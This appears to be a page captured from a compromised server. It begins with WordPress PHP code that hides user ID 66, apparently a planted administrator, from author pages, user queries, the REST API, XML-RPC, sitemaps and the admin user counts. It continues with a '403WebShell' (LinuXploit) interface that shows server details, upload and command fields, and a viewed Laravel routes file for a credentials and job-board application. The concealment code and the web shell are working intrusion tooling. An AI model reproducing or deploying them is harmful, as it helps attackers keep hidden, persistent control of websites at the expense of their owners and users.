add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/routes/web.php
<?php
// routes/web.php

use Illuminate\Support\Facades\Route;

use App\Http\Controllers\EmployerController;
use App\Http\Controllers\EducatorController;
use App\Http\Controllers\JobController;
use App\Http\Controllers\QualificationController;
use App\Http\Controllers\ContactRequestController;
use App\Http\Controllers\OnboardingController;


// Auth controllers
use App\Http\Controllers\Auth\OrgRegisterController;
use App\Http\Controllers\Auth\LoginController;
use App\Http\Controllers\Auth\ForgotPasswordController;
use App\Http\Controllers\Auth\ResetPasswordController;
use App\Http\Controllers\AdminController;
use App\Http\Controllers\InvitationController;
use App\Http\Controllers\OrganizationController;
use App\Http\Controllers\OrganizationCredentialController;
use App\Http\Controllers\TrainingController;
use App\Http\Controllers\Admin\AdminOrganizationController;

/*
|--------------------------------------------------------------------------
| Public / root domain (non-subdomain) routes
|--------------------------------------------------------------------------
*/



Route::get('/', function() {
    return view('landing');
})->name('demo.landing');
Route::get('/demo/pathway-builder', [\App\Http\Controllers\DemoPathwayController::class, 'index'])
    ->name('demo.pathway-builder');
Route::get('/qualifications/detail/{uuid}', [QualificationController::class, 'showFromSkillwallet'])
    ->name('qualification.skillwallet.detail');
/*
|--------------------------------------------------------------------------
| EMPLOYER — MAIN DOMAIN (Option B)
|--------------------------------------------------------------------------
| Public + Protected employer routes are constrained to the main domain.
| Any route('employer.*') will now resolve to http(s)://{MAIN_DOMAIN}/...
*/
    // Public employer landing
    Route::get('/employer', [EmployerController::class, 'welcome'])
        ->name('employer.welcome')
        ->middleware('guest');
    Route::get('/educator', function(){
        return view('educator.welcome');
    })
        ->name('educator.welcome')
        ->middleware('guest');

    // Contact form submission
    Route::post('/contact', [ContactRequestController::class, 'store'])->name('contact.store');

    Route::get('/jobs/qualifications', [\App\Http\Controllers\JobController::class, 'qualificationsForProfession'])
    ->name('jobs.qualifications');

    Route::post('/jobs/validate-url', [JobController::class, 'validateJobUrl'])->name('jobs.validate-url');
    Route::post('/jobs/generate-description', [JobController::class, 'generateJobDescription'])->name('jobs.generate-description');
    Route::get('/jobs/searchitem', [JobController::class, 'searchitem'])->name('jobs.searchitem');

    // Onboarding routes (auth required)
    Route::middleware(['auth'])->group(function () {
        Route::get('/onboarding', [OnboardingController::class, 'show'])->name('onboarding.show');
        Route::post('/onboarding/complete', [OnboardingController::class, 'complete'])->name('onboarding.complete');
    });

    // Protected employer area (email must be verified)
    Route::middleware(['capture.intended','auth','verified'])->group(function () {
        Route::get('/employer/jobs', [JobController::class, 'index'])->name('employer.jobs');

        Route::get('/jobs/create', [JobController::class, 'create'])->name('jobs.create');
        Route::get('/jobs/wizard', [JobController::class, 'wizard'])->name('jobs.wizard');
        Route::post('/jobs',       [JobController::class, 'store'])->name('jobs.store');

        Route::get('/jobs/{job}/edit', [JobController::class, 'edit'])->name('jobs.edit');
        Route::put('/jobs/{job}',      [JobController::class, 'update'])->name('jobs.update');
        Route::delete('/jobs/{job}',   [JobController::class, 'destroy'])->name('jobs.destroy');

        Route::post('/employer/jobs/{job}/toggle-status', [JobController::class, 'toggleStatus'])
            ->name('employer.jobs.toggleStatus');

        // Public organization profiles (for logged-in users)
        Route::get('/organizations/{organization:uuid}', [OrganizationController::class, 'showPublic'])
            ->name('organizations.public');

        // Organization management (for organization members)
        Route::get('/organization', [OrganizationController::class, 'show'])
            ->name('organization.show');
        Route::get('/organization/settings', [OrganizationController::class, 'edit'])
            ->name('organization.edit');
        Route::put('/organization/settings', [OrganizationController::class, 'update'])
            ->name('organization.update');
        Route::put('/organization/settings/badgau', [OrganizationController::class, 'updateBadgau'])
            ->name('organization.update.badgau');

        // Organization credentials (wallet)
        Route::get('/organization/credentials', [OrganizationCredentialController::class, 'index'])
            ->name('organization.credentials.index');
        Route::get('/organization/credentials/upload', [OrganizationCredentialController::class, 'create'])
            ->name('organization.credentials.create');
        Route::post('/organization/credentials', [OrganizationCredentialController::class, 'store'])
            ->name('organization.credentials.store');
        Route::delete('/organization/credentials/{credential}', [OrganizationCredentialController::class, 'destroy'])
            ->name('organization.credentials.destroy');

        // Educator dashboard
        Route::get('/educator/dashboard', [EducatorController::class, 'dashboard'])->name('educator.dashboard');

        // Training management
        Route::get('/trainings', [TrainingController::class, 'index'])->name('trainings.index');
        Route::get('/trainings/wizard', [TrainingController::class, 'wizard'])->name('trainings.wizard');
        Route::get('/trainings/create', [TrainingController::class, 'create'])->name('trainings.create');
        Route::post('/trainings', [TrainingController::class, 'store'])->name('trainings.store');
        Route::get('/trainings/{training}', [TrainingController::class, 'show'])->name('trainings.show');
        Route::get('/trainings/{training}/edit', [TrainingController::class, 'edit'])->name('trainings.edit');
        Route::put('/trainings/{training}', [TrainingController::class, 'update'])->name('trainings.update');
        Route::delete('/trainings/{training}', [TrainingController::class, 'destroy'])->name('trainings.destroy');

        // Training instances
        Route::get('/trainings/{training}/instances/create', [TrainingController::class, 'createInstance'])->name('trainings.instances.create');
        Route::post('/trainings/{training}/instances', [TrainingController::class, 'storeInstance'])->name('trainings.instances.store');
        Route::delete('/trainings/{training}/instances/{instance}', [TrainingController::class, 'destroyInstance'])->name('trainings.instances.destroy');
    });


Route::get('/ajax/search_item', [JobController::class, 'searchItem'])->name('qualification.searchitem');


Route::get('/terms',    fn() => view('terms'))->name('terms.show');

Route::get('/register/org', [OrgRegisterController::class, 'create'])->name('register.org');
Route::post('/register/org', [OrgRegisterController::class, 'store'])->name('register.org.store');

// Email verification
Route::get('/email/verify', fn () => view('auth.verify'))->middleware('auth')->name('verification.notice');
Route::get('/email/verify/{id}/{hash}', function (\Illuminate\Foundation\Auth\EmailVerificationRequest $request) {
    $request->fulfill();
    return redirect()->route('employer.jobs')->with('success', 'Email verified!');
})->middleware(['auth', 'signed'])->name('verification.verify');
Route::post('/email/verification-notification', function (\Illuminate\Http\Request $request) {
    $request->user()->sendEmailVerificationNotification();
    return back()->with('status', 'verification-link-sent');
})->middleware(['auth', 'throttle:6,1'])->name('verification.send');

// Unified login (root)
Route::get('/login',  [LoginController::class, 'showLoginForm'])->name('login');
Route::post('/login', [LoginController::class, 'login'])->name('login.post');
Route::post('/logout', [LoginController::class, 'logout'])->name('logout');

/*
|--------------------------------------------------------------------------
| Password reset (root)
|--------------------------------------------------------------------------
*/
Route::get('password/reset',        [ForgotPasswordController::class, 'showLinkRequestForm'])->name('password.request');
Route::post('password/email',       [ForgotPasswordController::class, 'sendResetLinkEmail'])->name('password.email');
Route::get('password/reset/{token}',[ResetPasswordController::class, 'showResetForm'])->name('password.reset');
Route::post('password/reset',       [ResetPasswordController::class, 'reset'])->name('password.update');

/*
|--------------------------------------------------------------------------
| Admin Routes
|--------------------------------------------------------------------------
| Protected routes for super admin to manage organizations and users
*/
Route::middleware(['auth', 'super.admin'])->prefix('admin')->group(function () {
    Route::get('/', [AdminController::class, 'index'])->name('admin.dashboard');

    Route::get('/organizations/create', [AdminController::class, 'createOrganization'])->name('admin.organizations.create');
    Route::post('/organizations', [AdminController::class, 'storeOrganization'])->name('admin.organizations.store');
    Route::delete('/organizations/{organization}', [AdminController::class, 'deleteOrganization'])->name('admin.organizations.delete');
    Route::post('/organizations/{organization}/review', [AdminController::class, 'reviewOrganization'])->name('admin.organizations.review');

    // Organization detail & act-as
    Route::get('/organizations/{organization}', [AdminOrganizationController::class, 'show'])->name('admin.organizations.show');
    Route::put('/organizations/{organization}/badgau', [AdminOrganizationController::class, 'updateBadgau'])->name('admin.organizations.update-badgau');
    Route::post('/organizations/{organization}/albums', [AdminOrganizationController::class, 'createAlbum'])->name('admin.organizations.create-album');
    Route::post('/organizations/{organization}/act-as', [AdminOrganizationController::class, 'actAs'])->name('admin.organizations.act-as');
    Route::post('/organizations/exit-act-as', [AdminOrganizationController::class, 'exitActAs'])->name('admin.organizations.exit-act-as');

    Route::get('/users/create', [AdminController::class, 'createUser'])->name('admin.users.create');
    Route::post('/users', [AdminController::class, 'storeUser'])->name('admin.users.store');
    Route::delete('/users/{user}', [AdminController::class, 'deleteUser'])->name('admin.users.delete');

    Route::post('/invitations/{invitation}/resend', [AdminController::class, 'resendInvitation'])->name('admin.invitations.resend');
    Route::delete('/invitations/{invitation}', [AdminController::class, 'cancelInvitation'])->name('admin.invitations.cancel');

    Route::delete('/jobs/{job}', [AdminController::class, 'deleteJob'])->name('admin.jobs.delete');

    // Credential Mapping management
    Route::get('/credential-mappings', [\App\Http\Controllers\Admin\CredentialMappingController::class, 'index'])->name('admin.credential-mappings.index');
    Route::get('/credential-mappings/create', [\App\Http\Controllers\Admin\CredentialMappingController::class, 'create'])->name('admin.credential-mappings.create');
    Route::post('/credential-mappings', [\App\Http\Controllers\Admin\CredentialMappingController::class, 'store'])->name('admin.credential-mappings.store');
    Route::delete('/credential-mappings/{mapping}', [\App\Http\Controllers\Admin\CredentialMappingController::class, 'destroy'])->name('admin.credential-mappings.destroy');

    // Badge Album management (Panini-style pathway builder)
    Route::get('/badge-albums', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'index'])->name('admin.badge-albums.index');
    Route::get('/badge-albums/create', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'create'])->name('admin.badge-albums.create');
    Route::post('/badge-albums', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'store'])->name('admin.badge-albums.store');
    Route::get('/badge-albums/{album}/edit', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'edit'])->name('admin.badge-albums.edit');
    Route::put('/badge-albums/{album}', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'update'])->name('admin.badge-albums.update');
    Route::delete('/badge-albums/{album}', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'destroy'])->name('admin.badge-albums.destroy');

    // Album sections
    Route::post('/badge-albums/{album}/sections', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'storeSection'])->name('admin.badge-albums.sections.store');
    Route::put('/badge-albums/{album}/sections/{section}', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'updateSection'])->name('admin.badge-albums.sections.update');
    Route::delete('/badge-albums/{album}/sections/{section}', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'destroySection'])->name('admin.badge-albums.sections.destroy');
    Route::post('/badge-albums/{album}/sections/reorder', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'reorderSections'])->name('admin.badge-albums.sections.reorder');
    Route::patch('/badge-albums/{album}/sections/{section}/rule', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'updateSectionRule'])->name('admin.badge-albums.sections.update-rule');

    // Album slots (badges within sections)
    Route::post('/badge-albums/{album}/sections/{section}/slots', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'storeSlot'])->name('admin.badge-albums.slots.store');
    Route::put('/badge-albums/{album}/slots/{slot}', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'updateSlot'])->name('admin.badge-albums.slots.update');
    Route::delete('/badge-albums/{album}/slots/{slot}', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'destroySlot'])->name('admin.badge-albums.slots.destroy');
    Route::post('/badge-albums/{album}/sections/{section}/slots/reorder', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'reorderSlots'])->name('admin.badge-albums.slots.reorder');

    // Badge resolution (AJAX)
    Route::post('/badge-albums/resolve-badge', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'resolveBadge'])->name('admin.badge-albums.resolve-badge');

    // Badgau integration (AJAX)
    Route::get('/badge-albums/search-badges', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'searchBadges'])->name('admin.badge-albums.search-badges');
    Route::get('/badge-albums/badgau-status', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'checkBadgauStatus'])->name('admin.badge-albums.badgau-status');

    // Publish / Unpublish to OpenSkillPaths (AJAX)
    Route::post('/badge-albums/{album}/publish', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'publish'])->name('admin.badge-albums.publish');
    Route::post('/badge-albums/{album}/unpublish', [\App\Http\Controllers\Admin\BadgeAlbumController::class, 'unpublish'])->name('admin.badge-albums.unpublish');
});

/*
|--------------------------------------------------------------------------
| Invitation Routes
|--------------------------------------------------------------------------
| Routes for accepting user invitations
*/
Route::get('/invitation/{token}', [InvitationController::class, 'show'])->name('invitation.accept');
Route::post('/invitation/{token}', [InvitationController::class, 'accept'])->name('invitation.accept.post');

/*
|--------------------------------------------------------------------------
| Imprint (Public)
|--------------------------------------------------------------------------
*/
Route::get('/imprint', fn() => view('imprint'))->name('imprint');


Youez - 2016 - github.com/yon3zu
LinuXploit